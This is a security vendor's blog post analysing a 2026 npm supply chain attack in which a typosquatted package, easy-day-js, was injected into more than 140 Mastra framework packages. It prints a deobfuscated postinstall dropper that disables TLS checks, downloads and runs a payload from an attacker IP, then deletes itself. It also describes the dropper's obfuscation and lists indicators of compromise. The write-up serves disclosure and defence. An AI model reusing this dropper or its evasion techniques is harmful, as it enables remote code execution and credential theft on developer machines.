Back to Blog

Mastra npm Supply Chain Attack: 140+ Packages Backdoored via easy-day-js Typosquat

On June 17, 2026, an attacker compromised the @mastra npm organization and quietly added easy-day-js as a dependency across 140+ packages in the Mastra AI framework ecosystem. easy-day-js is a typosquat of the popular dayjs date library, and its latest version contained an obfuscated postinstall dropper that downloaded and ran a second-stage payload from attacker-controlled servers, then deleted itself to remove any trace. Packages with a combined weekly download count exceeding 1.1 million were exposed. If you installed any @mastra package today, treat your environment as compromised.
Sai Likhith
View LinkedIn

June 17, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

Summary

On June 17, 2026, an attacker compromised the @mastra npm organization and quietly added easy-day-js as a dependency across 140+ packages in the Mastra AI framework ecosystem. easy-day-js is a typosquat of the popular dayjs date library, and its latest version contained an obfuscated postinstall dropper that downloaded and ran a second-stage payload from attacker-controlled servers, then deleted itself to remove any trace. Packages with a combined weekly download count exceeding 1.1 million were exposed. If you installed any @mastra package today, treat your environment as compromised.

This is an ongoing attack. Additional @mastra packages are continuing to be compromised as we publish this post. we will continue to update our blog post with additional findings. We have responsibly disclosed this issue in mastra-ai-repo: https://github.com/mastra-ai/mastra/issues/18045

Background: The Mastra AI Framework

Mastra is a rapidly growing open-source TypeScript framework for building AI agents, multi-step workflows, and retrieval-augmented generation (RAG) pipelines. It provides native integrations for major LLM providers (OpenAI, Anthropic, Google), persistent agent memory, Model Context Protocol (MCP) servers, vector databases, and cloud deployment targets. Because Mastra sits at the intersection of AI development and cloud infrastructure, its packages are routinely installed in environments that hold some of the most sensitive credentials in modern software development:

  • LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY, GOOGLE_API_KEY)
  •  
  • Cloud provider credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AZURE_TENANT_ID)
  •  
  • Database connection strings and tokens
  •  
  • CI/CD secrets and VCS tokens (GITHUB_TOKEN, NPM_TOKEN)

This makes the Mastra ecosystem an exceptionally high-value target for supply chain attackers.

How the Attack Unfolded

Stage 0 Pre-positioning: The Clean Bait Package (June 16)

The attack actually started the day before. On June 16, 2026 at 07:05 UTC, npm user sergey2016 published easy-day-js@1.11.21, a clean, fully functional copy of the legitimate dayjs date library with no malicious code at all. Its only purpose was to look credible. The package mirrors dayjs's version numbering (1.11.x), author metadata (iamkun), homepage, repository URL, license, and keywords, so it could pass a casual visual inspection without raising flags.

This bait version (not the malicious one) was what got injected into the @mastra packages as a dependency. The trick is in how npm resolves versions: the dependency was pinned as "easy-day-js": "^1.11.21", which means npm always resolves to the latest matching version at install time. So once the attacker published the malicious 1.11.22, every fresh npm install would automatically pull the payload without needing any further changes to the @mastra packages themselves.

Stage 1 Payload Upload (June 17, 01:01 UTC)

At 01:01 UTC on June 17, sergey2016 published easy-day-js@1.11.22. This version is identical to 1.11.21 with one addition: a file named setup.cjs (4,572 bytes) and a postinstall hook that executes it:

"postinstall": "node setup.cjs --no-warnings"

The --no-warnings flag suppresses Node.js runtime warnings that might tip off the user. The setup.cjs file itself is obfuscated using a custom-alphabet Base64 scheme backed by a 40-element string array that has to be rotated 34 positions before an arithmetic integrity check passes. This is specifically designed to trip up static analysis tools that evaluate the string array before the rotation runs.

Stage 2 @mastra Organization Compromise & Mass Publish (01:12–02:39 UTC)

Just 11 minutes after uploading the payload, the attacker used compromised @mastra organization credentials to kick off an automated publishing campaign. Over the next 88 minutes, 140+ packages across the entire Mastra ecosystem were republished with easy-day-js quietly added as a production dependency.

2026-06-17  01:01 UTC easy-day-js@1.11.22 published by sergey2016 with malicious setup.cjs dropper Payload live
01:12 UTC First @mastra package hit: @mastra/schema-compat@1.2.12 — 1.23M weekly downloads
01:15 – 01:20 UTC Core packages: @mastra/core@1.42.1, @mastra/memory@1.20.4, @mastra/server@2.1.1, @mastra/loggers@1.1.3, @mastra/observability@1.14.2, @mastra/deployer@1.42.1
01:24 UTC mastra@1.13.1 — the top-level framework package
01:25 – 01:30 UTC Infrastructure packages: @mastra/pg@1.13.1, @mastra/mcp@1.10.1, @mastra/libsql@1.13.1, @mastra/evals@1.3.1, @mastra/rag@2.2.2, @mastra/datadog@1.2.5
01:34 – 02:09 UTC Database adapters, observability integrations, voice providers, auth plugins, and deployer targets published in rapid succession
02:19 – 02:39 UTC More packages continuing to be compromised. Last observed: @mastra/dane at 02:39 UTC

The cadence makes it obvious this wasn't manual. Packages were arriving in tightly spaced clusters throughout the window, consistent with a script that enumerated the full @mastra organization and processed packages in batches.

Stage 3 Dropper Execution at Install Time

When a developer runs npm install @mastra/core (or any of the infected packages), npm resolves easy-day-js to version 1.11.22, the latest patch matching ^1.11.21, and automatically runs its postinstall hook. The obfuscated setup.cjs then executes the following logic:

'use strict';
const child_process = require('node:child_process');
const crypto = require('node:crypto');
const fs   = require('node:fs');
const os   = require('node:os');
const path = require('node:path');

// Disable TLS certificate verification
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

(async () => {
  try {
    const stage2Url = 'https://23.254.164.92:8000/update/49890878';
    const stage2C2  = '23.254.164.123:443';

    // Write install beacon to temp directory
    fs.writeFileSync(path.join(os.tmpdir(), '.pkg_history'), __dirname, 'utf-8');
    fs.writeFileSync(path.join(os.tmpdir(), '.pkg_logs'), pkgMarker);

    // Download stage-2 payload (TLS disabled)
    const payload  = await (await fetch(stage2Url)).text();

    // Write to random-named file and spawn as detached background process
    const filename = crypto.randomBytes(12).toString('hex') + '.js';
    const filepath = path.join(os.tmpdir(), filename);
    fs.writeFileSync(filepath, payload, 'utf8');

    child_process.spawn(process.execPath, [filepath, stage2C2], {
      cwd: os.tmpdir(), detached: true, stdio: 'ignore', windowsHide: true
    }).unref();

  } catch {}
  finally {
    // Self-delete to destroy forensic evidence
    fs.rmSync(__filename, { force: true });
  }
})();


Several behaviors make this dropper particularly effective at evading detection:

     
  • TLS certificate bypass. Setting NODE_TLS_REJECT_UNAUTHORIZED=0 lets the dropper reach the C2 server even if it uses a self-signed certificate, so a bad cert won't cause a visible download failure.
  •  
  • Beaconing. Before fetching the payload, the dropper writes the package's full installation path (__dirname) to <tmpdir>/.pkg_history, giving the attacker a map of affected machines.
  •  
  • Process detachment. The stage-2 payload is spawned with detached: true and stdio: 'ignore', then immediately .unref()'d. It keeps running in the background after npm exits, with no visible output.
  •  
  • Self-deletion. fs.rmSync(__filename, { force: true }) removes setup.cjs from the package tree right after it runs, wiping the main forensic artifact.

Stage 4 Stage-2 Payload

The stage-2 payload is fetched at runtime from https://23.254.164.92:8000/update/49890878 and is not embedded in any tarball, so static analysis can't reach it. It runs as a detached background process with 23.254.164.123:443 passed as its first argument, almost certainly the command-and-control address. Given that Mastra environments typically hold LLM API keys and cloud credentials, the most likely outcome of stage-2 execution is environment variable harvesting and exfiltration to that C2.

Runtime Analysis Using Harden Runner

To validate the malware's behavior at runtime, we installed @mastra/core@1.42.1 in a controlled GitHub Actions workflow with StepSecurity Harden Runner enabled in block mode. In block mode, Harden Runner enforces an allowlist of permitted outbound endpoints at the step level — any connection attempt to an address outside that list is blocked and logged before a single byte leaves the runner.

The moment easy-day-js@1.11.22's postinstall hook fired, Harden Runner intercepted and blocked the outbound call to 23.254.164.92:8000. Because the stage-2 payload could not be downloaded, the rest of the attack chain never executed:

     
  • Stage-2 payload download blocked — the fetch to https://23.254.164.92:8000/update/49890878 was cut off at the network layer. No payload file was written to the temp directory.
  •  
  • Detached child process never spawned — with no payload on disk, the child_process.spawn call had nothing to run. The stage-2 C2 at 23.254.164.123:443 was never contacted.
  •  
  • Credential exfiltration prevented — because the attack chain stopped at the first network call, no environment variables, API keys, or cloud credentials were exposed to the attacker.
  •  
  • Block logged in real time — the blocked connection appears immediately in the Harden Runner network events view, giving teams a clear, timestamped record of the attempt without needing to correlate logs from multiple sources.

The 23.254.164.92 IP is now on the StepSecurity Harden Runner Global Block List, so workflows do not need to manually allowlist-configure anything — the block applies automatically to all protected workflows.

You can inspect the full network events log from our controlled run here: View example run — C2 domain blocked by Harden Runner

Call to the C2 domain 23.254.164.92

The Typosquat: easy-day-js vs dayjs

The choice of dayjs as the legitimate package to impersonate was deliberate. dayjs is one of the most widely used JavaScript date libraries, with name recognition that reduces the likelihood a developer reviewing a dependency list will flag easy-day-js as suspicious. The attacker went further by copying the legitimate library's package metadata wholesale:

Attribute Legitimate dayjs Malicious easy-day-js
npm author iamkun iamkun Copied
Homepage https://day.js.org https://day.js.org Copied
Repository github.com/iamkun/dayjs github.com/iamkun/dayjs Copied
License MIT MIT Copied
Version 1.11.x 1.11.211.11.22 Mirrored
Keywords dayjs, date, time, moment dayjs, date, time, moment Copied
npm maintainer iamkun sergey2016 Attacker
Postinstall hook None node setup.cjs --no-warnings Malicious
setup.cjs Not present setup.cjs — 4,572 bytes, obfuscated Dropper

The only reliable distinguishing features are the npm maintainer (sergey2016, registered with sergey2016@tutamail.com) and the presence of setup.cjs in the tarball. A developer performing a routine npm audit or visual review of package.json would have no obvious signal that something was wrong.

Obfuscation: Three Layers

The setup.cjs dropper employs three distinct obfuscation layers, stacked to defeat automated static analysis

  1. Custom-alphabet Base64 encoding. All string literals (API names, C2 URL, file paths) are stored using a shuffled Base64 alphabet with lowercase letters first, then uppercase, then digits. Standard Base64 decoders will produce garbage without first reversing the alphabet mapping.
  2.  
  3. Array rotation with integrity check. The decoded 40-element string array has to be rotated exactly 34 positions before an arithmetic checksum equals 0x4c11d (311,581). Any static analysis tool that tries to evaluate the array before the rotation runs will index the wrong strings and miss the actual payload logic.
  4.  
  5. XOR-encoded beacon marker. The package name easy-day-js is stored as the byte sequence [0xe5, 0xe1, 0xf3, 0xf9, 0xad, 0xe4, 0xe1, 0xf9, 0xad, 0xea, 0xf3] and written to .pkg_logs as raw binary, so the plaintext string never shows up in any file written to disk.

Notably, the C2 URL https://23.254.164.92:8000/update/49890878 appears in plaintext within the obfuscated source — an unusual choice that may indicate the dropper was prepared under time pressure.

Indicators of Compromise (IOCs)

Type Indicator Description
npm package easy-day-js@1.11.22 Primary malicious package; contains obfuscated postinstall dropper
npm package easy-day-js@1.11.21 Clean bait version injected as dependency; resolves to 1.11.22 at install time
npm maintainer sergey2016 / sergey2016@tutamail.com Attacker account that published the malicious easy-day-js versions
file in tarball setup.cjs (4,572 bytes) Obfuscated stage-1 dropper; absent in easy-day-js@1.11.21
IP address 23.254.164.92 Stage-1 C2; serves stage-2 payload on port 8000
IP address 23.254.164.123 Stage-2 C2; receives beacon and exfil on port 443
URL https://23.254.164.92:8000/update/49890878 Stage-2 payload download endpoint
npm script "postinstall": "node setup.cjs --no-warnings" Execution trigger in easy-day-js package.json
file on disk <tmpdir>/.pkg_history Install beacon written by dropper; contains absolute path of installed package
file on disk <tmpdir>/.pkg_logs Package name marker written as XOR(0x80) binary
file on disk <tmpdir>/<24-hex-chars>.js Stage-2 payload written to temp dir before execution; may be deleted by stage-2
env variable NODE_TLS_REJECT_UNAUTHORIZED=0 Set at runtime to disable TLS cert validation for C2 fetch

All Affected Packages

The following packages across the Mastra organization were compromised. Any version listed in this table published on 2026-06-17 should be considered malicious.

📡
Enterprise

StepSecurity Enterprise customers can query all compromised packages from this incident — and every future one — in real time via the StepSecurity Threat Center API. The package list on this page reflects what was known at publish time; the API always returns the latest data.

Learn how to use the compromised components API →

Explore Related Posts